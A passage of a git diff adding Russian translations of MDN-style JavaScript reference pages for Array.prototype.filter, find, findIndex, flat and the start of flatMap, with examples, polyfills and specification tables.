+<p>Вернётся новый массив с элементами, которые проходят тест, то есть <code>callback</code> вернёт <code>true</code>. Если ни один элемент не пройдёт тест, то будет возвращён пустой массив.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>filter()</code> вызывает переданную функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве, и конструирует новый массив со всеми значениями, для которых функция <code>callback</code> вернула <code>true</code> или {{Glossary('Truthy', 'значение, становящееся true при приведении в boolean')}}. Функция <code>callback</code> вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались. Элементы массива, не прошедшие проверку функцией <code>callback</code>, просто пропускаются и не включаются в новый массив.</p>
+
+<p>Функция <code>callback</code> вызывается с тремя аргументами:</p>
+
+<ol>
+ <li>значение элемента;</li>
+ <li>индекс элемента;</li>
+ <li>массив, по которому осуществляется проход.</li>
+</ol>
+
+<p>Если в метод <code>filter()</code> был передан параметр <code>thisArg</code>, при вызове <code>callback</code> он будет использоваться в качестве значения <code>this</code>. В противном случае, в качестве значения <code>this</code> будет использоваться значение <code>{{jsxref("Global_Objects/undefined", "undefined")}}</code>. В конечном итоге, значение <code>this</code>, наблюдаемое из функции <code>callback</code>, определяется согласно {{jsxref('Operators/this', 'обычным правилам определения <code>this</code>, видимого из функции')}}.</p>
+
+<p>Метод <code>filter()</code> не изменяет массив, для которого он был вызван.</p>
+
+<p>Диапазон элементов, обрабатываемых методом <code>filter()</code>, устанавливается до первого вызова функции <code>callback</code>. Элементы, добавленные в массив после начала выполнения метода <code>filter()</code>, не будут посещены функцией <code>callback</code>. Если существующие элементы массива изменятся, значения, переданные в функцию <code>callback</code>, будут значениями на тот момент времени, когда метод <code>filter()</code> посетит их; удалённые элементы посещены не будут.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Filtering_out_all_small_values" name="Filtering_out_all_small_values">Отфильтровывание всех маленьких значений</h3>
+
+<p>Следующий пример использует <code>filter()</code> для создания отфильтрованного массива, все элементы которого больше или равны 10, а все меньшие 10 удалены.</p>
+
+<pre class="brush: js">function isBigEnough(value) {
+  return value &gt;= 10;
+}
+
+let filtered = [12, 5, 8, 130, 44].filter(isBigEnough);
+// массив filtered равен [12, 130, 44]
+</pre>
+
+<h3 id="Find_all_prime_numbers_in_an_array" name="Find_all_prime_numbers_in_an_array">Найти все простые числа в массиве</h3>
+
+<p>Следующий пример возвращает все простые числа в массиве:</p>
+
+<pre><code>let array = [4, 6, 8, 9, 12, 53, -17, 2, 5, 7, 31, 97, -1, 17];
+
+function isPrime(num) {
+    if (num &lt;= 1)
+        return false;
+    else if (num === 2)
+        return true;
+    else {
+        for (let i = 2; i &lt; num; i++)
+            if (num % i === 0)
+                return false;
+        return true;
+    }
+}
+
+console.log(array.filter(isPrime));   // [53, 2, 5, 7, 31, 97, 17]</code></pre>
+
+<h3 id="Filtering_invalid_entries_from_JSON" name="Filtering_invalid_entries_from_JSON">Фильтрация неверных записей в JSON</h3>
+
+<p>В следующем примере метод <code>filter()</code> используется для создания отфильтрованного объекта JSON, все элементы которого содержат ненулевое числовое поле <code>id</code>.</p>
+
+<pre class="brush: js">var arr = [
+    { id: 15 },
+    { id: -1 },
+    { id: 0 },
+    { id: 3 },
+    { id: 12.2 },
+    { },
+    { id: null },
+    { id: NaN },
+    { id: 'undefined' }
+];
+
+var invalidEntries = 0;
+
+function isNumber(obj) {
+    return obj!== undefined &amp;&amp; typeof(obj) === 'number' &amp;&amp; !isNaN(obj);
+}
+
+function filterByID(item) {
+    if (isNumber(item.id) &amp;&amp; item.id !== 0) {
+        return true;
+    }
+    invalidEntries++;
+    return false;
+}
+
+var arrByID = arr.filter(filterByID);
+
+console.log('Отфильтрованный массив\n', arrByID);
+// Filtered Array
+// [{ id: 15 }, { id: -1 }, { id: 3 }, { id: 12.2 }]
+
+console.log('Количество ошибочных записей = ', invalidEntries);
+// Number of Invalid Entries = 5
+
+</pre>
+
+<h3 id="Поиск_в_массиве">Поиск в массиве</h3>
+
+<p>В следующем примере <code>filter()</code> используется для фильтрации содержимого массива на основе входных данных.</p>
+
+<pre class="brush: js">var fruits = ['apple', 'banana', 'grapes', 'mango', 'orange'];
+
+/**
+ * Элементы массива фильтруется на основе критериев поиска (query)
+*/
+function filterItems(query) {
+  return fruits.filter(function(el) {
+      return el.toLowerCase().indexOf(query.toLowerCase()) &gt; -1;
+  })
+}
+
+console.log(filterItems('ap')); // ['apple', 'grapes']
+console.log(filterItems('an')); // ['banana', 'mango', 'orange']</pre>
+
+<h3 id="ES2015_implementation" name="ES2015_implementation">ES2015 реализация</h3>
+
+<pre class="brush: js">const fruits = ['apple', 'banana', 'grapes', 'mango', 'orange'];
+
+/**
+ * Элементы массива фильтруется на основе критериев поиска (query)
+ */
+const filterItems = (query) =&gt; {
+  return fruits.filter((el) =&gt;
+    el.toLowerCase().indexOf(query.toLowerCase()) &gt; -1
+  );
+}
+
+console.log(filterItems('ap')); // ['apple', 'grapes']
+console.log(filterItems('an')); // ['banana', 'mango', 'orange']
+
+</pre>
+
+<h3 id="Affecting_Initial_Array_modifying_appending_and_deleting" name="Affecting_Initial_Array_modifying_appending_and_deleting">Влияние на начальный массив (изменение, добавление и удаление)</h3>
+
+<p>В следующих примерах проверяется поведение метода <code>filter</code> при изменении массива.</p>
+
+<pre class="brush: js">// Изменение всех элементов
+let words = ['spray', 'limit', 'exuberant', 'destruction','elite', 'present']
+
+const modifiedWords = words.filter( (word, index, arr) =&gt; {
+  arr[index+1] +=' extra'
+  return word.length &lt; 6
+})
+
+console.log(modifiedWords)
+// Обратите внимание, что есть три слова длиной менее 6, но так как они были изменены,
+// возвращается одно слово ['spray']
+
+// Добавление новых элементов
+words = ['spray', 'limit', 'exuberant', 'destruction','elite', 'present']
+const appendedWords = words.filter( (word, index, arr) =&gt; {
+  arr.push('new')
+  return word.length &lt; 6
+})
+
+console.log(appendedWords)
+// Только три слова удовлетворяют условию, хотя `words` теперь имеет куда больше слов,
+// длинной меньше 6 символов: ['spray', 'limit', 'elite']
+
+// Удаление элементов
+words = ['spray', 'limit', 'exuberant', 'destruction', 'elite', 'present']
+const deleteWords = words.filter( (word, index, arr) =&gt; {
+  arr.pop()
+  return word.length &lt; 6
+})
+
+console.log(deleteWords)
+// Заметьте, что 'elite' не получено, так как удалено из `words` до того,
+// как filter смог получить его: ['spray', 'limit']</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Метод <code>filter()</code> был добавлен к стандарту ECMA-262 в 5-м издании; поэтому он может отсутствовать в других реализациях стандарта. Вы можете работать с ним, добавив следующий код в начало ваших скриптов, он позволяет использовать <code>filter()</code> в реализациях, которые не поддерживают этот метод. Этот алгоритм является точно тем, что описан в ECMA-262 5-го издания; он предполагает, что <code>fn.call</code> вычисляется в оригинальное значение {{jsxref("Function.prototype.call()")}} и что {{jsxref("Array.prototype.push()")}} содержит своё оригинальное значение.</p>
+
+<pre class="brush: js">if (!Array.prototype.filter) {
+  Array.prototype.filter = function(fun/*, thisArg*/) {
+    'use strict';
+
+    if (this === void 0 || this === null) {
+      throw new TypeError();
+    }
+
+    var t = Object(this);
+    var len = t.length &gt;&gt;&gt; 0;
+    if (typeof fun !== 'function') {
+      throw new TypeError();
+    }
+
+    var res = [];
+    var thisArg = arguments.length &gt;= 2 ? arguments[1] : void 0;
+    for (var i = 0; i &lt; len; i++) {
+      if (i in t) {
+        var val = t[i];
+
+        // ПРИМЕЧАНИЕ: Технически, здесь должен быть Object.defineProperty на
+        //             следующий индекс, поскольку push может зависеть от
+        //             свойств на Object.prototype и Array.prototype.
+        //             Но этот метод новый и коллизии должны быть редкими,
+        //             так что используем более совместимую альтернативу.
+        if (fun.call(thisArg, val, i, t)) {
+          res.push(val);
+        }
+      }
+    }
+
+    return res;
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.20', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.filter")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/find/index.html b/files/ru/web/javascript/reference/global_objects/array/find/index.html
new file mode 100644
index 0000000000..f4b8844a62
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/find/index.html
@@ -0,0 +1,167 @@
+---
+title: Array.prototype.find()
+slug: Web/JavaScript/Reference/Global_Objects/Array/find
+tags:
+  - Array
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/find
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>find()</strong></code> возвращает <strong>значение</strong> первого найденного в массиве элемента, которое удовлетворяет условию переданному в callback функции.  В противном случае возвращается {{jsxref("Global_Objects/undefined", "undefined")}}.</p>
+
+<p>Также смотрите метод {{jsxref("Array.findIndex", "findIndex()")}}, который возвращает <strong>индекс</strong> найденного в массиве элемента вместо его значения.</p>
+
+<p>Если вам нужно найти позицию элемента или наличие элемента в массиве, используйте {{jsxref("Array.prototype.indexOf()")}} или {{jsxref("Array.prototype.includes()")}} соответственно.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.find(<var>callback</var>[, <var>thisArg</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Функция, вызывающаяся для каждого значения в массиве, принимает три аргумента:
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>Текущий обрабатываемый элемент в массиве.</dd>
+  <dt><code>index</code></dt>
+  <dd>Индекс текущего обрабатываемого элемента в массиве.</dd>
+  <dt><code>array</code></dt>
+  <dd>Массив, по которому осуществляется проход.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Необязательный параметр. Значение, используемое в качестве <code>this</code> при выполнении функции <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Значение элемента из массива, если элемент прошёл проверку, иначе {{jsxref("undefined")}}.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>find</code> вызывает переданную функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве, до тех пор, пока она не вернёт <code>true</code>. Если такой элемент найден, метод <code>find</code> немедленно вернёт значение этого элемента. В противном случае, метод <code>find</code> вернёт {{jsxref("Global_Objects/undefined", "undefined")}}. До Firefox 34 функция <code>callback</code> не вызывалась для «дырок» в массивах (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1058394">bug 1058394</a>).</p>
+
+<p>Функция <code>callback</code> вызывается с тремя аргументами: значением элемента, индексом элемента и массивом, по которому осуществляется проход.</p>
+
+<p>Если в метод <code>find</code> был передан параметр <code>thisArg</code>, при вызове <code>callback</code> он будет использоваться в качестве значения <code>this</code>. В противном случае в качестве значения <code>this</code> будет использоваться значение {{jsxref("Global_Objects/undefined", "undefined")}}.</p>
+
+<p>Метод <code>find</code> не изменяет массив, для которого он был вызван.</p>
+
+<p>Диапазон элементов, обрабатываемых методом <code>find</code>, устанавливается до первого вызова функции <code>callback</code>. Элементы, добавленные в массив после начала выполнения метода <code>find</code>, не будут посещены функцией <code>callback</code>. Если существующие, непосещённые элементы массива изменяются функцией <code>callback</code>, их значения, переданные в функцию, будут значениями на тот момент времени когда метод <code>find</code> посетит их; удалённые элементы все еще будут посещены. </p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Testing_size_of_all_array_elements" name="Example:_Testing_size_of_all_array_elements">Пример: поиск простого числа в массиве</h3>
+
+<p>Следующий пример находит в массиве положительных чисел элемент, являющийся простым числом (либо возвращает {{jsxref("Global_Objects/undefined", "undefined")}}, если в массиве нет простых чисел).</p>
+
+<pre class="brush: js">function isPrime(element, index, array) {
+  var start = 2;
+  while (start &lt;= Math.sqrt(element)) {
+    if (element % start++ &lt; 1) {
+      return false;
+    }
+  }
+  return element &gt; 1;
+}
+
+console.log([4, 6, 8, 12].find(isPrime)); // undefined, не найдено
+console.log([4, 5, 8, 12].find(isPrime)); // 5
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод был добавлен в спецификации ECMAScript 6 и пока может быть недоступен во всех реализациях JavaScript. Однако, вы можете использовать следующий сниппет в качестве полифилла:</p>
+
+<pre><code>// https://tc39.github.io/ecma262/#sec-array.prototype.find
+if (!Array.prototype.find) {
+  Object.defineProperty(Array.prototype, 'find', {
+    value: function(predicate) {
+     // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // 3. If IsCallable(predicate) is false, throw a TypeError exception.
+      if (typeof predicate !== 'function') {
+        throw new TypeError('predicate must be a function');
+      }
+
+      // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
+      var thisArg = arguments[1];
+
+      // 5. Let k be 0.
+      var k = 0;
+
+      // 6. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let Pk be ! ToString(k).
+        // b. Let kValue be ? Get(O, Pk).
+        // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
+        // d. If testResult is true, return kValue.
+        var kValue = o[k];
+        if (predicate.call(thisArg, kValue, k, o)) {
+          return kValue;
+        }
+        // e. Increase k by 1.
+        k++;
+      }
+
+      // 7. Return undefined.
+      return undefined;
+    },
+    configurable: true,
+    writable: true
+  });
+}</code></pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Array.find")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.findIndex()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/findindex/index.html b/files/ru/web/javascript/reference/global_objects/array/findindex/index.html
new file mode 100644
index 0000000000..7cbc30e738
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/findindex/index.html
@@ -0,0 +1,138 @@
+---
+title: Array.prototype.findIndex()
+slug: Web/JavaScript/Reference/Global_Objects/Array/findIndex
+tags:
+  - Array
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>findIndex()</strong></code> возвращает <strong>индекс</strong> в массиве, если элемент удовлетворяет условию проверяющей функции. В противном случае возвращается -1.</p>
+
+<p>Также смотрите метод {{jsxref("Array.find", "find()")}}, который возвращает <strong>значение</strong> найденного в массиве элемента вместо его индекса.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.findIndex(<var>callback</var>[, <var>thisArg</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Функция, вызывающаяся для каждого значения в масиве, принимает три аргумента:
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>Текущий обрабатываемый элемент в массиве.</dd>
+  <dt><code>index</code></dt>
+  <dd>Индекс текущего обрабатываемого элемента в массиве.</dd>
+  <dt><code>array</code></dt>
+  <dd>Массив, по которому осуществляется проход.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Необязательный параметр. Значение, используемое в качестве <code>this</code> при выполнении функции <code>callback</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>findIndex</code> вызывает переданную функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве, до тех пор, пока она не вернёт <code>true</code>. Если такой элемент найден, метод <code>findIndex</code> немедленно вернёт индекс этого элемента. В противном случае, метод <code>findIndex</code> вернёт -1. Функция <code>callback</code> вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.</p>
+
+<p>Функция <code>callback</code> вызывается с тремя аргументами: значением элемента, индексом элемента и массивом, по которому осуществляется проход.</p>
+
+<p>Если в метод <code>findIndex</code> был передан параметр <code>thisArg</code>, при вызове <code>callback</code> он будет использоваться в качестве значения <code>this</code>. В противном случае в качестве значения <code>this</code> будет использоваться значение {{jsxref("Global_Objects/undefined", "undefined")}}.</p>
+
+<p>Метод <code>findIndex</code> не изменяет массив, для которого он был вызван.</p>
+
+<p>Диапазон элементов, обрабатываемых методом <code>findIndex</code>, устанавливается до первого вызова функции <code>callback</code>. Элементы, добавленные в массив после начала выполнения метода <code>findIndex</code>, не будут посещены функцией <code>callback</code>. Если существующие, непосещённые элементы массива изменяются функцией <code>callback</code>, их значения, переданные в функцию, будут значениями на тот момент времени, когда метод <code>findIndex</code> посетит их; удалённые элементы посещены не будут.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Find_the_index_of_a_prime_number_in_an_array" name="Example:_Find_the_index_of_a_prime_number_in_an_array">Пример: поиск индекса простого числа в массиве</h3>
+
+<p>Следующий пример находит в массиве индекс элемента, являющийся простым числом (либо возвращает -1, если в массиве нет простых чисел).</p>
+
+<pre class="brush: js">function isPrime(element, index, array) {
+  var start = 2;
+  while (start &lt;= Math.sqrt(element)) {
+    if (element % start++ &lt; 1) {
+      return false;
+    }
+  }
+  return element &gt; 1;
+}
+
+console.log([4, 6, 8, 12].findIndex(isPrime)); // -1, не найдено
+console.log([4, 6, 7, 12].findIndex(isPrime)); // 2
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод был добавлен в спецификации ECMAScript 6 и пока может быть недоступен во всех реализациях JavaScript. Однако, вы можете использовать следующий кусочек кода в качестве полифилла:</p>
+
+<pre class="brush: js">if (!Array.prototype.findIndex) {
+  Array.prototype.findIndex = function(predicate) {
+    if (this == null) {
+      throw new TypeError('Array.prototype.findIndex called on null or undefined');
+    }
+    if (typeof predicate !== 'function') {
+      throw new TypeError('predicate must be a function');
+    }
+    var list = Object(this);
+    var length = list.length &gt;&gt;&gt; 0;
+    var thisArg = arguments[1];
+    var value;
+
+    for (var i = 0; i &lt; length; i++) {
+      value = list[i];
+      if (predicate.call(thisArg, value, i, list)) {
+        return i;
+      }
+    }
+    return -1;
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Array.findIndex")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/flat/index.html b/files/ru/web/javascript/reference/global_objects/array/flat/index.html
new file mode 100644
index 0000000000..7ce48303ea
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/flat/index.html
@@ -0,0 +1,160 @@
+---
+title: Array.prototype.flat()
+slug: Web/JavaScript/Reference/Global_Objects/Array/flat
+tags:
+  - Массив
+  - Ссылка
+  - Экспериментальная
+  - метод
+  - прототип
+  - яваскрипт
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>flat()</strong></code> возвращает новый массив, в котором все элементы вложенных подмассивов были рекурсивно "подняты" на указанный уровень depth.</p>
+
+<p class="hidden">\{{EmbedInteractiveExample("pages/js/array-flatten.html")}}</p>
+
+<p class="hidden">Исходный код этого интерактивного примера находится на гитхабе. Если вы желаете внести свой вклад в проект интерактивных примеров, пожалуйста, склонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и пришлите нам пул-реквест.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><var>var newArray = arr</var>.flat(<var>depth</var>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>depth</code> {{optional_inline}}</dt>
+ <dd>На сколько уровней вложенности уменьшается мерность исходного массива. По-умолчанию 1.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый массив с объединенными в него подмассивами.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Упрощение_вложенных_массивов">Упрощение вложенных массивов</h3>
+
+<pre class="brush: js notranslate">var arr1 = [1, 2, [3, 4]];
+arr1.flat();
+// [1, 2, 3, 4]
+
+var arr2 = [1, 2, [3, 4, [5, 6]]];
+arr2.flat();
+// [1, 2, 3, 4, [5, 6]]
+
+var arr3 = [1, 2, [3, 4, [5, 6]]];
+arr3.flat(2);
+// [1, 2, 3, 4, 5, 6]
+
+var arr4 = [1, 2, [3, 4, [5, 6, [7, 8, [9, 10]]]]];
+arr4.flat(Infinity);
+// [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]</pre>
+
+<h3 id="Упрощение_и_дырки_в_массивах">Упрощение и "дырки" в массивах</h3>
+
+<p>Метод flat удаляет пустые слоты из массива:</p>
+
+<pre class="brush: js notranslate">var arr4 = [1, 2, , 4, 5];
+arr4.flat();
+// [1, 2, 4, 5]
+</pre>
+
+<h2 id="Альтернативы">Альтернативы</h2>
+
+<h3 id="reduce_и_concat"><code>reduce</code> и <code>concat</code></h3>
+
+<pre class="brush: js notranslate">var arr1 = [1, 2, [3, 4]];
+arr1.flat();
+
+// В одномерный массив
+arr1.reduce((acc, val) =&gt; acc.concat(val), []);// [1, 2, 3, 4]
+
+//или
+const flatSingle = arr =&gt; [].concat(...arr);
+</pre>
+
+<pre class="brush: js notranslate">// Для развёртвания многомерных массивов используем рекурсию, reduce и concat
+const arr = [1, 2, [3, 4, [5, 6]]];
+
+function flatDeep(arr, d = 1) {
+   return d &gt; 0 ? arr.reduce((acc, val) =&gt; acc.concat(Array.isArray(val) ? flatDeep(val, d - 1) : val), [])
+                : arr.slice();
+};
+
+flatDeep(arr, Infinity);
+// [1, 2, 3, 4, 5, 6]</pre>
+
+<pre class="brush: js notranslate">//не рекурсивное упрощение с использованием стэка
+var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]];
+function flatten(input) {
+  const stack = [...input];
+  const res = [];
+  while (stack.length) {
+    // забираем последнее значение
+    const next = stack.pop();
+    if (Array.isArray(next)) {
+      // добавляем к массиву элементы не модифицируя исходное значение
+      stack.push(...next);
+    } else {
+      res.push(next);
+    }
+  }
+  //разворачиваем массив, чтобы восстановить порядок элементов
+  return res.reverse();
+}
+flatten(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4]
+</pre>
+
+<pre class="brush: js notranslate">//рекурсивно упрощаем массив
+function flatten(array) {
+  var flattend = [];
+  (function flat(array) {
+    array.forEach(function(el) {
+      if (Array.isArray(el)) flat(el);
+      else flattend.push(el);
+    });
+  })(array);
+  return flattend;
+}
+</pre>
+
+<div class="hidden">
+<p>Пожалуйста, не добавляйте полифиллы в эту статью: <a href="https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500">https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500</a></p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flat"><code>Array.prototype.flat</code> proposal</a></td>
+   <td>Кандидат (3)</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("javascript.builtins.Array.flat")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.flatMap()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/flatmap/index.html b/files/ru/web/javascript/reference/global_objects/array/flatmap/index.html
new file mode 100644
index 0000000000..4465a92711
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/flatmap/index.html
@@ -0,0 +1,126 @@
+---
+title: Array.prototype.flatMap()
+slug: Web/JavaScript/Reference/Global_Objects/Array/flatMap
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/flatMap
+---
+<div>{{JSRef}}</div>
+
+<p><code><font face="Verdana, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Метод </span></font><strong>flatMap()</strong></code> сначала применяет функцию к каждому элементу, а затем преобразует полученый результат в плоскую структуру и помещает в новый массив. Это идентично <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a> функции, с последующим применением функции <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/flat">flat</a> с параметром depth ( глубина ) равным 1, но <code>flatMap</code> часто бывает полезным, так как работает немного более эффективно.</p>
+
+<p class="hidden">\{{EmbedInteractiveExample("pages/js/array-flatmap.html")}}</p>
+
+<p class="hidden">Исходный код данного примера расположен в GitHub репозитории. Если вы хотите улучшить этот пример, вам нужно склонировать <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> внести в него измения и отправить их нам через PR ( pull request ).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>var new_array = arr</var>.flatMap(function <var>callback(currentValue[, index[, array]]) {
+    // возращает элемент для new_array
+}</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Функция которая производит элементы нового массива, принимает три аргумента:
+ <dl>
+  <dt></dt>
+  <dt><code>currentValue</code></dt>
+  <dd>Текущий обрабатываемый элемент массива.</dd>
